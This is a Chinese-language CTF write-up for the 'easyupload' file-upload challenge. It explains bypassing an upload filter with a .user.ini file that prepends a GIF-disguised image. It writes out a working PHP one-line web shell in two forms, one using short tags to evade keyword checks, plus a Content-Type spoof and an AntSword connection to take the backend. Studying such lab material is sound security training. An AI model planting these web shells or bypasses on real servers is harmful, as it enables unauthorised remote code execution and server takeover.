文件上传 .user.ini绕过

文件上传 .user.ini绕过

tao

2025-09-24 发布10 浏览 · 0 点赞 · 0 收藏

攻防世界例题:easyupload
一道文件上传的题目

.user.ini.htaccess 的绕过能力对比

特性 ​**.user.ini**​ ​**.htaccess**​
服务器依赖 ✅ 支持所有 Web 服务器(需 PHP CGI/FastCGI) ❌ 仅 Apache
需目录内 PHP 文件 ✅ 必须存在 ❌ 无需
生效范围 目录级 PHP 配置 目录级 Apache 配置
典型攻击链 包含图片马 + 访问合法 PHP 文件 直接访问恶意文件(如 shell.jpg
防御禁用可能性 较低(需全局禁用 user_ini.filename 较高(Apache 可配置 AllowOverride None

1.构造.user.ini并上传

文件内容

GIF89a               #GIF表示符,用于绕过对文件内容头的检测
auto_prepend_file=a.gif #PHP配置指令,要求在执行所有PHP脚本前强制加载a.gif文件

2.以gif格式上传一句话脚本

文件名: a.gif
文件内容

GIF89a
<?php @eval($_POST['a']); ?>

3.bp抓包修改.user.ini中content类型

修改为:image/gif
上传成功
![[屏幕截图 2025-07-25 184446.png]]

4.上传a.gif

直接上传,被服务器提示:危险文件
可能是有php的敏感字符,使用短标签绕过
修改文件内容

GIF89a
<?=eval($_POST['a']);?>

上传成功
![[屏幕截图 2025-07-25 190532.png]]

注意

使用.user.ini配置文件一切的前提是在uplaod目录下存在php文件,这样在访问php文件的时候,配置文件才会生效

5.访问文件,连接蚁剑

访问uploads/index.php
拿下后台
![[屏幕截图 2025-07-25 192940.png]]

请前往 登录/注册 即可发表您的看法…